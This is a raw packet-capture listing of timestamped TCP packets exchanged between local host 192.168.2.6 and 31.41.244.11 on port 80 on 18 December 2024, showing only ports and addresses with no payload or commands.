Dec 18, 2024 11:09:28.748841047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.749037981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.749181986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.750145912 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.750164986 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.750210047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.750210047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.751641035 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.751653910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.752098083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.753526926 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.753542900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.753554106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.753566027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.753612995 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.753612995 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.754661083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.754676104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.754739046 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.754739046 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.755127907 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.755141020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.755172014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.755207062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.756318092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.756330013 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.756359100 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.756411076 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.757416964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.757476091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.757641077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.757683992 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.759371996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.759383917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.759422064 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.759439945 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.760581970 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.760593891 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.760624886 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.760659933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.761769056 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.761811972 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.761898994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.761948109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.762962103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.763051033 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.763070107 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.763111115 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.763911963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.763923883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.763972998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.764003992 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.764648914 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.764661074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.764712095 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.764712095 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.765244007 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.765391111 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.765419006 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.765510082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.766037941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.766050100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.766093969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.766938925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.766978979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.766983032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.767163038 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.767884016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.767986059 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.768033981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.768079042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.768837929 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.768910885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.768974066 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.769037962 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.769929886 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.769968987 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.769987106 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.770028114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.770435095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.770530939 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.908843994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.908974886 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.908984900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.909130096 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.909658909 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.909694910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.909718037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.910151005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.910924911 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.910959005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.910983086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.911005020 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.911607027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.911700010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.911721945 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.911806107 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.912628889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.912688971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.912800074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.912972927 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.913465977 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.913501978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.913546085 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.913546085 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.914319992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.914371014 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.914417028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.914417028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.915441990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.915491104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.915535927 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.915535927 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.916153908 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.916208029 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.916492939 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.916546106 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.917107105 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.917249918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.917327881 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.917377949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.919146061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.919195890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.919203997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.919231892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.919276953 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.919276953 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.919399977 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.919445992 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.921133041 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.921166897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.921205997 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.921212912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.921212912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.921255112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.922152996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.922188044 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.922208071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.922221899 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.922261953 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.922261953 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.923398018 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.923434019 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.923471928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.923471928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.924717903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.924751997 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.924762964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.924788952 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.926126003 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.926158905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.926181078 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.926213026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.926258087 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.926258087 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.926543951 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.927351952 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.927443027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.927481890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.927529097 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.927529097 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.928019047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.928052902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.928085089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.928085089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.929578066 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.929610968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.929625034 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.930906057 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.930929899 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.930938959 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.930974960 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.930975914 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.930975914 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.931016922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.931251049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.931350946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.932360888 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.932394981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.932406902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.933803082 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.933829069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.933836937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.933871984 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.933873892 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.933873892 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.934423923 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.934464931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.934530973 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.935422897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.935456991 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.935484886 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.935570955 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.935977936 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.936012983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.936023951 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.936806917 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.937767982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.937808037 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.937823057 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.937839985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.937839985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.938491106 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.938518047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.938572884 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.939363003 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.939373970 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.939409971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.940706968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.940717936 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.940726995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.940736055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.940783978 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.940783978 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.941540003 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.942720890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.942732096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.942742109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.942742109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.942791939 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.942791939 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.943274975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.943334103 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.944087982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.944099903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.944144011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.944144011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.945631981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.945642948 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.945653915 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.945678949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.946847916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.946857929 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.946867943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.946897984 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.946898937 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.947340965 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.948594093 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.948613882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.948625088 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.948640108 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.948731899 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.949791908 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.949803114 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.949814081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.949839115 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.949867010 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.950520039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.950558901 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.951365948 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.951409101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.951703072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.951714039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.951787949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.952940941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.952951908 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.952989101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.953545094 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.953556061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.953979015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.954648018 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.954659939 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.954706907 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.956384897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.956396103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.956407070 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.956429958 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.957461119 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.957470894 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.957479000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.957482100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.957529068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.957529068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.959347963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.959361076 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.959371090 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.959394932 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.959485054 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.959516048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.959557056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.962526083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.962826967 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.100559950 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.100577116 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.100588083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.100671053 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.101633072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.101644993 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.101655960 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.101705074 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.101705074 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.103486061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.103497028 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.103507042 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.103529930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.104571104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.104582071 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.104592085 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.104619026 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.104619026 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.106420994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.106431961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.106447935 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.106462002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.106462002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.106487989 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.107651949 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.107662916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.107673883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.107692003 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.109391928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.109402895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.109414101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.109438896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.109438896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.109500885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.109522104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.109961033 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.111356974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.111366987 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.111377001 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.111432076 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.111432076 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.111834049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.112040997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.112477064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.112488985 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.112692118 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.113326073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.114206076 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.114233017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.114286900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.114326000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.114326000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.114401102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.114473104 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.115257025 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.115338087 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.115370989 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.115410089 CET	49912	80	192.168.2.6	31.41.244.11
